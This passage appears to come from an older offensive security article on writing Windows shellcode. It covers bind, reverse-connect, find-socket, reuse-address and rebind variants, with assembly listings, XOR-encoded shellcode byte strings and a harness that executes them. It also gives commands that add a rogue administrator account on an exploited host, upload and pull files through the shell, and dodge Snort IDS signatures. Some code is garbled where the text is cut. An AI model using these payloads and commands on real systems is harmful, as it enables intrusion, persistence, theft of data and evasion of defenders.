* Stack-based Buffer Overflow * Heap-based Buffer Overflow * Format String * Integer Overflow * Memory corruption, etc Even though we may use one or more of those exploitation techniques to control the execution path of a program, each vulnerability need to be exploited differently. Every vulnerability has different way to trigger the bug. We may use different buffer size or character set to trigger the overflow. Although we can probably use the same technique for vulnerabilities in the same class, we cannot use the same code. Once we control of the execution path, we probably want it to execute our code. Thus, we need to include these code or instruction set in our exploit. The part of code which allows us to execute arbitrary code is known as payload. The payload can virtually do everything a computer program can do with the permission of the vulnerable service. A payload that spawns you a shell is known as a shellcode. It allows interactive command execution. Unlike Exploitation technique, a well designed shellcode can easily be reused in other exploits. We will try to build shellcode that can be reused. A basic requirement of a shellcode is the shell and a connection that allow use to use it interactively. --[ 2.a Why shellcode? Why shellcode? Simply because it is the simplest way that allows the attacker to explore the target system interactively. It might give the attacker the ability to discover internal network, to further penetrate into other computers. A simple "net view /domain" command in Windows box would review many other easy targets. A shell may also allow upload/download file/database, which is usually needed as proof of successful pen-test. You also may easily install trojan horse, key logger, sniffer, Enterprise worm, WinVNC, etc. An Enterprise Worm could be a computer worm which was written specifically to infect other machine in the same domain using the credential of the primary domain controller. A shell is also useful to restart the vulnerable services. This will keep the service running and your client happy. But more importantly, restarting the vulnerable service usually allow us to attack the service again. We also may clean up traces like log files and events with a shell. There are just many other possibilities. However, spawning a shell is not the only thing you can do in your payload. As demonstrated by LSD in their Win32 ASM component, you can create a payload that loop and wait for command from the attacker. The attacker could issue a command to the payload to create new connection, upload/download file or spawn a shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker. Regardless whether a payload is spawning a shell or loop to wait for instructions, it still needs to communicate with the attacker. Although we are using payload that spawns a shell throughout this article, the mechanisms being use for communication can be use in other payload strategy. --[ 2.b Windows shellcode skeleton Shellcode usually start by getting to know where you are during the execution by grapping the EIP value. And then, a decoding process will take place. The process will then jump into the decoded memory area where execution can continue. Before we can do anything useful, we need to find addresses of all functions and API that we need to use in the shellcode. With that, we can setup a socket, and finally spawn a shell. * Getting EIP * Decoder * Getting addresses of required functions * Setup socket * Spawning shell Let's look into what these components suppose to do, in greater detail. --[ 2.b.i Getting EIP We would like to make our shellcode as reusable as possible. For that, we will avoid using any fixed address which could change in different environment. We will use relative addressing as much as we could. To start with, we need to know where we are in the memory. This address will be our base address. Any variable or function in the shellcode will be relative to this address. To get this address, we can use a CALL and a POP instruction. As we already know, whenever we are calling a function, the return value is push into the stack just before the function is called. So, if the first thing we do in the function is a POP command, we will obtain the return value in a register. As shown below, EAX will be 451005. 450000: label1: pop eax 450005: ... (eax = 451005) 451000: call label1 ;start here! 451005: Most likely you will find something similar to the code below in a shellcode, which does about the same thing. 450000: jmp label1 450002: label2: jmp cont 450004: label1: call label2 450009: cont: pop eax ... (eax = 450009) Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln-Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fnstenv/fstenv instructions to save the state of the FPU environment. fldz fnstenv [esp-12] pop ecx add cl, 10 nop ECX will hold the address of the EIP. However, these instructions will generate non-standard ASCII characters. --[ 2.b.ii Decoder Buffer overflow usually will not allow NULL and a few special characters. We can avoid using these characters by encoding our shellcode. The easiest encoding scheme is the XOR encoding. In this encoding, we will XOR each char in our shellcode with a predefined value. During execution, a decoder will translate the rest of the code back to real instruction by XOR it again with the predefined value. As shown here, we can set the number of byte we want to decode in ecx, and while eax is pointing to the starting point of our encoded shellcode. We xor the destination byte by byte with 0x96 until the loop over. There are other more advance encoding schemes, of cause. We can use a DWORD xor value instead of a char to encode 4 bytes at a time. We also may break the code apart by encoding them using a different xor key. All with the purpose to get rid of unusable chars in our shellcode. xor ecx, ecx mov cl, 0C6h ;size loop1: inc eax xor byte ptr [eax], 96h loop loop1 The Metasploit project (http://metasploit.com/) contains a few very useful encoders worth checking. --[ 2.b.iii Getting address of required function After the decoding process, we will jump into the memory area where the decoded shellcode start to continue our execution. Before we can do anything useful, we must locate the address of all APIs that we need to use and store it in a jump table. We are not going to use any fixed address to API because it is different between service packs. To get the address of API we need, we can use an API called GetProcAddress(). By supplying the name of the function we need to this API, it will return the address where we can call to use it. To obtain the address of GetProcAddress() itself, we can search the export table of the Kernel32.dll in the memory. Kernel32.dll image is located predefined in a memory location depending on the OS. * NT - 0x77f00000 * 2kSP2 & SP3 - 0x77e80000 * WinXP - 0x77e60000 Since we know the default base memory of kernel32.dll is located at these locations, we can start looping backward from 0x77f00000 to look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark just like any Windows application. This trick was used by High Speed Junky (HSJ) in his exploit and it works quite nicely for all the above OS and service pack. However Windows 2000 SP4's Kernel32.dll is located at 0x7c570000. In order to scan the memory from 0x77f00000, we need to setup an exception handler that will catch invalid memory access. --[ 2.b.iv Locating Kernel32 base memory However, there is a better method to get the kernel32 base memory. Using the fs selector, we can get into our PEB. By searching the PEB_LDR_DATA structure, we will find the list of DLL which our vulnerable program initialized when it start. The list of DLL will be loaded in sequence, first, NTDLL, followed by Kernel32. So, by traveling one nod forward in the list, we will get the base memory of the Kernel32.dll. This technique, complete with the code, has been published by researchers in VX-zine, then used by LSD in their Windows Assembly component. mov eax,fs:[30h] ; PEB base mov eax,[eax+0ch] ; goto PEB_LDR_DATA ; first entry in InInitializationOrderModuleList mov esi,[eax+1ch] lodsd ; forward to next LIST_ENTRY mov ebx,[eax+08h] ; Kernel32 base memory --[ 2.b.v Getting GetProcAddress() Once we know the base address of Kernel32.dll, we can locate its Export Table and look for "GetProcAddress" string. We also can get the total of exported functions. Using the number, we loop until we find the string. mov esi,dword ptr [ebx+3Ch] ;to PE Header add esi,ebx mov esi,dword ptr [esi+78h] ;to export table add esi,ebx mov edi,dword ptr [esi+20h] ;to export name table add edi,ebx mov ecx,dword ptr [esi+14h] ;number of exported function push esi xor eax,eax ;our counter For each address in the jump table, we will check if the destination name is match with "GetProcAddress". If not, we increase EAX by one and continue searching. Once we found a match, EAX will be holding our counter. Using the following formula, we can obtain the real address of GetProcAddress(). ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base We count until we reach "GetProcAddress". Multiply the index by 2, add it to the address of exported ordinals table. It should now point to the ordinal of GetProcAddress(). Take the value, multiply it by 4. Total it up with the address of the addrress of the table and Kernel32 base address, we will get the real address of the GetProcAddress(). We can use the same technique to get the address of any exported function inside Kernel32. --[ 2.b.vi Getting other functions by name Once we get the address of GetProcAddress(), we can easily obtain address of any other API. Since there are quite a number of APIs that we need to use, we (actually, most of these codes were dissass from HSJ's exploit) build a function that take a function name and return the address. To use the function, set ESI pointing to the name of the API we want to load. It must be NULL terminated. Set EDI point to the jump table. A jump table is just a location where we store all addresses of API we need to call. Set ECX to number of API we want it to resolve. In this example, we call to load 3 APIs: mov edi,esi ;EDI is the output, our jump table xor ecx,ecx mov cl,3 ;Load 3 APIs call loadaddr The "loadaddr" function that get the job done: loadaddr: mov al,byte ptr [esi] inc esi test al,al jne loadaddr ;loop till we found a NULL push ecx push edx push esi push ebx call edx ;GetProcAddress(DLL, API_Name); pop edx pop ecx stosd ;write the output to EDI loop loadaddr ;loop to get other APIs ret --[ 2.b.vii Spawning a shell Once we have gone thru those troublesome API address loading, we can finally do something useful. To spawn a shell in Windows, we need to call the CreateProcess() API. To use this API, we need to set up the STARTUPINFO in such a way that, the input, output and error handler will be redirected to a socket. We also will set the structure so that the process will have no window. With the structure setup, we just need to call CreateProcess to launch "cmd.exe" to get an interactive command shell in windows. ;ecx is 0 mov byte ptr [ebp],44h ;STARTUPINFO size mov dword ptr [ebp+3Ch],ebx ;output handler mov dword ptr [ebp+38h],ebx ;input handler mov dword ptr [ebp+40h],ebx ;error handler ;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW mov word ptr [ebp+2Ch],0101h lea eax,[ebp+44h] push eax push ebp push ecx push ecx push ecx inc ecx push ecx dec ecx push ecx push ecx push esi push ecx call dword ptr [edi-28] ;CreateProcess --[ 2.c Compiling our shellcode The Code section in the end of the paper contains source code bind.asm. bind.asm is a complete shellcode written in Assembly Language which will create a shell in Windows and bind it to a specific port. Compile bind.asm: # tasm -l bind.asm It will produce 2 files: 1. bind.obj - the object code 2. bind.lst - assembly listing If we open bind.obj with a hex editor, we will see that the object code start with something similar to this: 01) 80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00 ....bind.asmb. . 02) 00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C ...Turbo Assembl 03) 65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99 er Version 4.1. 04) 88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61 ...@.I../.bind.a 05) 73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03 sm/...@.L....h.. 06) 00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F .@......_TEXT.CO 07) 44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00 DE.............. 08) 05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9 ._DATA.DATA..... 09) 00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A ..........FLAT9. 10) 02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A ...^....DGROUP.. 11) 04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01 .....Z...@...... 12) 01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B ............X... 13) ... 14) 5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00 ZY.............. 15) 9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06 .m...|&.....t... Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of the partial hex dump above. It will end with 0xC3 as shown in line 14. We need to use a hex editor to remove the first 176 bytes and the last 26 bytes. (You don't need to do this if you are using NASM compiler, but the author has been using TASM since his MS-DOS age). Now that we have the shellcode in its pure binary form, we just need to build a simple program that read from this file and produce the corresponding hex value in a C string. Refer to the Code section (xor.cpp) for the code that will do that. The output of the program is our shellcode in C string syntax: # xor bind.obj BYTE shellcode[436] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" ... "\xE2\xEE\xC3"; --[ 3 The connection We have seen some of the basic building block of a shellcode. But we have not cover the connection part of the shellcode. As mentioned, a shellcode needs a shell and a connection to allow interactive command. We want to be able to send any command and see the output. Regardless if we are spawning a shell, transferring file or loop to wait for further command, we need to setup a connection. There are three published techniques: Bind to port, Reverse connect and Find socket shellcode. We will look into each one of these, as well as their limitation. Along the way, various exploits that uses these shellcode will be demonstrated to get a better understanding. --[ 3.a Bind to port shellcode Bind to port shellcode is popular being used in proof of concept exploit. The shellcode setup a socket, bind it to a specific port and listen for connection. Upon accepting a connection, you spawn a shell. This following APIs are needed for this type of connection: * WSASocket() * bind() * listen() * accept() It is important to note that we are using WSASocket() and not socket() to create a socket. Using WSASocket will create a socket that will not have an overlapped attribute. Such socket can be use directly as a input/output/error stream in CreateProcess() API. This eliminates the need to use anonymous pipe to get input/output from a process which exist in older shellcode. The size of the shellcode shrinks quite a bit using this technique. It was first introduced by David Litchfield. You can find many of Bind too port shellcode in Packetstorm Security by debugging shellcode of these exploits: * slxploit.c * aspcode.c * aspx_brute.c --[ 3.a.1 Bind to port shellcode implementation mov ebx,eax mov word ptr [ebp],2 mov word ptr [ebp+2],5000h ;port mov dword ptr [ebp+4], 0 ;IP push 10h push ebp push ebx call dword ptr [edi-12] ;bind inc eax push eax push ebx call dword ptr [edi-8] ;listen (soc, 1) push eax push eax push ebx call dword ptr [edi-4] ;accept Compiling bind.asm will create shellcode (435 bytes) that will work with any service pack. We will test the bind to port shellcode using a simple testing program - testskode.cpp. Copy the shellcode (in C string) generated the xor program and parse it into testskode.cpp: BYTE shellcode[436] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" ... // this is the bind port of the shellcode *(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000; void *ma = malloc(10000); memcpy(ma,shellcode,sizeof(shellcode)); __asm { mov eax,ma int 3 jmp eax } free(ma); Compile and running testskode.cpp will result in a break point just before we jump to the shellcode. If we let the process continue, it will bind to port 1212 and ready to accept connection. Using netcat, we can connect to port 1212 to get a shell. --[ 3.a.2 Problem with bind to port shellcode Using proof of concept exploit with bind to port shellcode against server in organization with firewall usually will not work. Even though we successfully exploited the vulnerability and our shellcode executed, we will have difficulties connecting to the bind port. Usually, firewall will allow connection to popular services like port 25, 53, 80, etc. But usually these ports are already in used by other applications. Sometimes the firewall rules just did not open these ports. We have to assume that the firewall block every port, expect for the port number of the vulnerable service. --[ 3.b Reverse connect shellcode To overcome the limitation of bind to port shellcode, many exploits prefer to use reverse connection shellcode. Instead of binding to a port waiting for connection, the shellcode simply connect to a predefined IP and port number to drop it a shell. We must include our IP and port number which the target must connect to give a shell in the shellcode. We also must run netcat or anything similar in advance, ready to accept connection. Of cause, we must be using IP address which the victim machine is reachable. Thus, usually we use public IP. The following APIs are needed to setup this type of connection: * WSASocket() * connect() You can find many of these examples in Packetstorm Security by debugging shellcode of these exploits: * jill.c * iis5asp_exp.c * sqludp.c * iis5htr_exp.c --[ 3.b.1 Reverse connect shellcode implementation push eax push eax push eax push eax inc eax push eax inc eax push eax call dword ptr [edi-8] ;WSASocketA mov ebx,eax mov word ptr [ebp],2 mov word ptr [ebp+2],5000h ;port in network byte order mov dword ptr [ebp+4], 2901a8c0h ;IP in network byte order push 10h push ebp push ebx call dword ptr [edi-4] ;connect Compiling reverse.asm will create shellcode (384 bytes) that will work with any service pack. We will use this shellcode in our JRun/ColdFusion exploit. However there is still one problem. This exploit will not accept NULL character. We need to encode our shellcode with an XOR shield. We can use the xor.cpp to encode our shellcode using its third parameter. First, let's compile reverse.asm: # \tasm\bin\tasm -l reverse.asm Then, hex-edit reverse.obj to get our shellcode. Refer to bind to port shellcode on how to do it. Now, use xor.cpp to print the shellcode: # xor reverse.obj BYTE shellcode[384] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" "\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30" "\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63" ... The first 36 bytes of the shellcode is our decoder. It has been carefully crafted to avoid NULL. We keep this part of the shellcode. Then, we run xor.cpp again with an extra parameter to xor the code with 0x96. # xor reverse.obj 96 BYTE shellcode[384] = "" "\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97" "\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6" "\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5" ... "\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55"; We take bytes sequence from the 37th bytes onwards. Combine the encoder and the xored shellcode, we will get the actual shellcode that we can use in our exploit. BYTE shellcode[384] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" "\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30" "\x96\x40\xE2\xFA" "\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5" ... "\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55"; We can use the following statements in our exploit to change the IP and port to our machine which has netcat listening for a shell. *(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696; *(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696; The JRun/ColdFusion exploit is attached in the Code section (weiwei.pl). The exploit uses Reverse connect shellcode. --[ 3.b.2 Problem with reverse connect shellcode It is not unusual to find server which has been configure to block out going connection. Firewall usually blocks all outgoing connection from DMZ. --[ 4 One-Way shellcode With the assumption that firewall has been configured with the following rules: * Blocks all ports except for listening ports of the services * Blocks all outgoing connections from server Is there any way to control the server remotely? In some case, it is possible to use existing resources in the vulnerable service to establish the control. For example, it may be possible to hook certain functions in the vulnerable service so that it will take over socket connection or anything similar. The new function may check any network packet for a specific signature. If there is, it may execute command that attached along with the network packet. Otherwise, the packet passes to the original function. We can then connect to the vulnerable service with our signature to trigger a command execution. As early as in 2001, Code Red worm uses some sort of function hooking to deface web site (http://www.eeye.com/html/Research/Advisories/AL20010717.html). Another alternative will be to use resources that available from the vulnerable service. It is also possible to patch the vulnerable service to cripple the authentication procedure. This will be useful for services like database, telnet, ftp, SSH and alike. In the case of Web server, it is possible to create PHP/ASP/CGI pages in the web root that will allow remote command execution via web pages. The shellcode in the following link create an ASP page, as implemented by Mikey (Michael Hendrickx): http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c Code Red 2 worm also has a very interesting method to create a backdoor of an IIS server. It creates a virtual path to drive C: and D: of the server to the web root. Using these virtual paths, attacker can execute cmd.exe which will then allow remote command execution: http://www.eeye.com/html/research/advisories/AL20010804.html However, these implementations are specific to the service we are exploiting. We hope to find a generic mechanism to bypass the firewall rules so that we can easily reuse our shellcode. With the assumption that the only way to interact with the server is through the port of the vulnerable service, we call these shellcode, One-way shellcode: * Find socket * Reuse address socket * Rebind socket --[ 4.a Find socket shellcode This method was documented in LSD's paper on Unix shellcode (http://lsd-pl.net/unix_assembly.html). Although the code is for Unix, we can use the same technique in the Windows world. The idea is to locate the existing connection that the attacker was using during the attack and use that connection for communication. Most WinSock API requires only the socket descriptor for its operation. So, we need to find this descriptor. In our implementation, we loop from 0x80 onwards. This number is chosen because socket descriptors below 0x80 are usually not relevant to our network connection. In our experience, using socket descriptor below 0x80 in WinSock API sometimes crash our shellcode due to lack of Stack space. We will get the destination port of the network connection for each socket descriptor. It is compared with a known value. We hard coded this value in our shellcode. If there is a match, we found our connection. However, socket may not be a non-overlapping socket. Depending on the program that created the socket, there is possibility that the socket we found is an overlapping socket. If this is the case, we cannot use it directly as in/out/err handler in CreateProcess(). To get an interaction communication from this type of socket, we can anonymous pipe. Description on using anonymous pipe in shellcode can be found in article by Dark Spyrit (http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd- pl.net/windows_components.html). xor ebx,ebx mov bl,80h find: inc ebx mov dword ptr [ebp],10h lea eax,[ebp] push eax lea eax,[ebp+4] push eax push ebx ;socket call dword ptr [edi-4] ;getpeername cmp word ptr [ebp+6],1234h ;myport jne find found: push ebx ;socket Find socket shellcode work by comparing the destination port of the socket with a known port number. Thus, attacker must obtain this port number first before sending the shellcode. It can be easily done by calling getsockname() on a connected socket. It is important to note that this type of shellcode should be use in an environment where the attacker is not in a private IP. If you are in a private IP, your Firewall NATing will create a new connection to the victim machine during your attack. That connection will have a different source port that what you obtain in your machine. Thus, your shellcode will never be able to find the actually connection. Find socket implementation can be found in findsock.asm in the Code section. There is also a sample usage of find socket shellcode in hellobug.pl, an exploit for MS SQL discovered Dave Aitel. --[ 4.a.1 Problem with Find socket shellcode Find socket could be perfect, but in some case, socket descriptor of the attacking connection is no longer available. It is possible that the socket might already been closed before it reach the vulnerable code. In some case, the buffer overflow might be in another process altogether. --[ 4.b Reuse address shellcode Since we fail to find the socket descriptor of our connection in a vulnerability that we are exploiting, we need to find another way. In the worst scenario, the firewall allows incoming connection only to one port; the port which the vulnerable service is using. So, if we can somehow create a bind to port shellcode that actually bind to the port number of the vulnerable service, we can get a shell by connecting to the same port. Normally, we will not be able to bind to a port which already been used. However, if we set our socket option to SO_REUSEADDR, it is possible bind our shellcode to the same port of the vulnerable service. Moreover, most applications simply bind a port to INADDR_ANY interface, including IIS. If we know the IP address of the server, we can even specify the IP address during bind() so that we can bind our shellcode in front of vulnerable service. Binding it to a specific IP allow us to get the connection first. Once this is done, we just need to connect to the port number of the vulnerable service to get a shell. It is also interesting to note that Win32 allow any user to connect to port below 1024. Thus, we can use this method even if we get IUSR or IWAM account. If we don't know the IP address of the server (may be it is using port forwarding to an internal IP), we still can bind the process to INADDR_ANY. However, this means we will have 2 processes excepting connection from the same port on the same interface. In our experience, we may need to connect a few times to get a shell. This is because the other process could occasionally get the connection. API needed to create a reuse address shellcode: * WSASocketA() * setsockopt() * bind() * listen() * accept() --[ 4.b.1 Reuse address shellcode implementation mov word ptr [ebp],2 push 4 push ebp push 4 ;SO_REUSEADDR push 0ffffh push ebx call dword ptr [edi-20] ;setsockopt mov word ptr [ebp+2],5000h ;port mov dword ptr [ebp+4], 0h ;IP, can be 0 push 10h push ebp push ebx call dword ptr [edi-12] ;bind Reuse address shellcode implementation is in reuse.asm (434 bytes) in the Code section. Same usage of this type of shellcode is implemented in reusewb.c exploit. This exploit is using the NTDLL (WebDav) vulnerability on IIS Web server. --[ 4.b.2 Problem with reuse address shellcode Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address is not possible. --[ 4.c Rebind socket shellcode It is not unusual to find application that actually uses SO_ EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our research did not stop there. We feel that there is a need to create a better shellcode. Assuming that we have same restriction we have as before. The only way to connect to the vulnerable machine is via the port of the vulnerable service. Instead of sharing the port gracefully as reuse address socket shellcode, we can take over the port number entirely. If we can terminate the vulnerable service, we can bind our shell into the very same port that was previously used by the vulnerable service. If we can achieve that, the next connection to this port will yield a shell. However, our shellcode is usually running as part of the vulnerable service. Terminating the vulnerable service will terminate our shellcode. To get around with this, we need to fork our shellcode into a new process. The new process will bind to a specific port as soon as it is available. The vulnerable service will be forcefully terminated. Forking is not as simple as in Unix world. Fortunately, LSD has done all the hard work for us (http://lsd-pl.net/windows_components.html). It is done in the following manner as implemented by LSD: 1. Call CreateProcess() API to create a new process. We must supply a filename to this API. It doesn't matter which file, as long as it exist in the system. However, if we choose name like IExplore, we might be able to bypass even personal firewall. We also must create the process in Suspend Mode. 2. Call GetThreadContext() to retrieve the environment of the suspended process. This call allows us to retrieve various information, including CPU registry of the suspended process. 3. Use VirtualAllocEx() to create enough buffer for our shellcode in the suspended process. 4. Call WriteProcessMemory() to copy our shellcode from the vulnerable service to the new buffer in the suspended process. 5. Use SetThreadContext() to replace EIP with memory address of the new buffer. 6. ResumeThread() will resume the suspended thread. When the thread starts, it will point directly to the new buffer which contains our shellcode. The new shellcode in the separate process will loop constantly trying to bind to port of the vulnerable service. However, until we successfully terminate the vulnerable machine it will not be able to continue. Back in our original shellcode, we will execute TerminateProcess() to forcefully terminate the vulnerable service. TerminateProcess() take two parameters, the Process handle to be terminated and the return value. Since we are terminating the current process, we can just pass -1 as the Process Handle. As soon as the vulnerable service terminated, our shellcode in a separate process will be able to bind successfully to the specific port number. It will continue to bind a shell to that port and waiting for connection. To connect to this shell, we just need to connect to the target machine on the port number of the vulnerable service. It is possible to improve the shellcode further by checking source port number of IP before allowing a shell. Otherwise, anyone connecting to that port immediately after your attack will obtain the shell. --[ 4.c.1 Rebind socket shellcode implementation Rebind socket shellcode is implemented in rebind.asm in the Code section. We need to use a lot of APIs in this shellcode. Loading these APIs by name will make our shellcode much bigger than it should be. Thus, the rebind socket shellcode is using another method to locate the APIs that we need. Instead of comparing the API by its name, we can compare by its fingerprint/hash. We generate a fingerprint for each API name we want to use and store it in our shellcode. Thus, we only need to store 4 bytes (size of the fingerprint) for each API. During shellcode execution, we will calculate the fingerprint of API name in the Export Table and compare it with our value. If there is a match, we found the API we need. The function that loads an API address by its fingerprint in rebind.asm was ripped from HD Moore's MetaSploit Framework (http://metasploit.com/sc/win32_univ_loader_src.c). A sample usage of a rebind socket shellcode can be found rebindwb.c and lengmui.c in the Code section. Rebindwb.c is an exploit modified from the previous WebDAV exploit that make use of Rebind shellcode. It will attack IIS, kill it and take over its port. Connecting to port 80 after the exploit will grant the attacker a shell. The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP 1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP 1433 will grant the attacker a shell. --[ 4.d Other one-way shellcode There are other creative mechanisms being implemented by Security Expert in the field. For example, Brett Moore's 91 bytes shellcode as published in Pen-Test mailing list (http://seclists.org/lists/pen- test/2003/Jan/0000.html). It is similar to the Find Socket shellcode, only that, instead of actually finding the attacking connection, the shellcode create a new process of CMD for every socket descriptor. Also similar to Find socket shellcode, instead of checking the destination port to identify our connection, XFocus's forum has discussion on sending additional bytes for verification. Our shellcode will read 4 more bytes from every socket descriptor, and if the bytes match with our signature, we will bind a CMD shell to that connection. It could be implemented as: * An exploit send additional bytes as signature ("ey4s") after sending the overflow string * The shellcode will set each socket descriptor to non-blocking * Shellcode call API recv() to check for "ey4s" * If there is a match, spawn CMD * Loop if not true It is also possible to send it with "MSG_OOB" flag. As implemented by san _at_ xfocus d0t org. Yet, another possibility is to implement shellcode that execute command that attached in the shellcode it self. There is no need to create network connection. The shellcode just execute the command and die. We can append our command as part of the shellcode and execute CreateProcess() API. A sample implementation can be found on dcomx.c in the Code section. For example, we can use the following command to add a remote administrator to a machine which is vulnerable to RPC- DCOM bug as discovered by LSD. # dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass" # dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser" --[ 5 Transferring file using shellcode One of the most common things to do after you break into a box is to upload or download files. We usually download files from our target as proof of successful penetration testing. We also often upload additional tools to the server to use it as an attacking point to attack other internal server. In the absent of a firewall, we can easily use FTP or TFTP tools found in standard Windows installation to get the job done: * ftp -s:script * tftp -i myserver GET file.exe However, in a situation where there is no other way to go in and out, we can still transfer file using the shell we obtain from our One-way shellcode. It is possible to reconstruct a binary file by using the debug.exe command available in almost every Windows. --[ 5.a Uploading file with debug.exe We can create text file in our target system using the echo command. But we can't use echo to create binary file, not with the help from debug.exe. It is possible to reconstructing binary using debug.exe. Consider the following commands: C:\>echo nbell.com>b.s C:\>echo a>>b.s C:\>echo dw07B8 CD0E C310>>b.s C:\>echo.>>b.s C:\>echo R CX>>b.s C:\>echo 6 >>b.s C:\>echo W>>b.s C:\>echo Q>>b.s C:\>debug 100) { print SOCKET $to; receive(); print "."; $to=""; $nnn=0; } $txt = ""; } Then, we create our VBS decoder in the target machine - "tobin.vbs". We can easily use "echo" command to create this file in the target machine. This decoder will read the outhex.txt created above and construct the binary file. Set arr = WScript.Arguments Set wsf = CreateObject("Scripting.FileSystemObject") Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE) Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE) do while infile.AtEndOfStream = false line = infile.ReadLine For x = 1 To Len(line)-2 Step 2 thebyte = Chr(38) & "H" & Mid(line, x, 2) file.write Chr(thebyte) Next loop file.close infile.close Once the decoder is in the target machine, we just need to execute it to convert the Hex code into a binary file: # cscript tobin.vbs outhex.txt out.exe --[ 5.c Retrieving file from command line Once we have the ability to upload file to the machine, we can upload a Base64 encoder to the target machine. We will use this encoder to encode any file into a printable Base64 format. We can easily print the output of the Base64 encoded in command line and capture the text. Once we have the complete file in Base64, we will save that into a file in our machine. Using WinZip or any Base64 decoder, we can convert that file back into its binary form. The following command allows us to retrieve any file in our target machine: print SOCKET "base64 -e $file outhex2.txt\n"; receive(); print SOCKET "type outhex2.txt\n"; open(RECV, ">$file.b64"); print RECV receive(); Fortunately, all these file upload/downloading can be automated. Refer to hellobug.pl in the Code section to see file transfer in action. --[ 6 Avoiding IDS detection Snort rules now have several Attack-Response signatures that will be able to detect common output from a Windows CMD shell. Every time we start CMD, it will display a banner: Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\sk There is a Snort rule that capture this banner: http://www.snort.org/snort-db/sid.html?sid=2123 We can easily avoid this by spawning cmd.exe with the parameter of "/k" in our shellcode. All we need to do is just to add 3 more bytes in our shellcode from "cmd" to "cmd /k". You may also need to add 3 to the value in the decoder that count the number of byte that we need to decode. There is also another Snort rules that capture a directory listing of the "dir" command in a Windows shell: http://www.snort.org/snort-db/sid.html?sid=1292 The rule compares "Volume Serial Number" in any established network packet, if there is a match, the rule will trigger an alert. # dir Volume in drive C is Cool Volume Serial Number is SKSK-6622 Directory of C:\Documents and Settings\sk 06/18/2004 06:22 PM . 06/18/2004 06:22 PM .. 12/01/2003 01:08 AM 58 ReadMe.txt To avoid this, we just need to include /b in our dir command. It is best if we set this in an environment so that dir will always use this argument: # set DIRCMD=/b # dir ReadMe.txt Snort also has signature that detect "Command completed" in: http://www.snort.org/snort-db/sid.html?sid=494 This command usually generated by the "net" command. It is easy to create a wrapper for the net command that will not display "Command completed" status or use other tools like "nbtdump", etc. --[ 7 Restarting vulnerable service Most often, after a buffer overflow, the vulnerable service will be unstable. Even if we can barely keep it alive, chances are we will not be able to attack the service again. Although we can try to fix these problem in our shellcode, but the easiest way is to restart the vulnerable service via our shell. This usually can be done using "at" command to schedule a command that will restart the vulnerable service after we exit from our shell. For example, if our vulnerable service is IIS web server, we can reset it using a scheduler: #at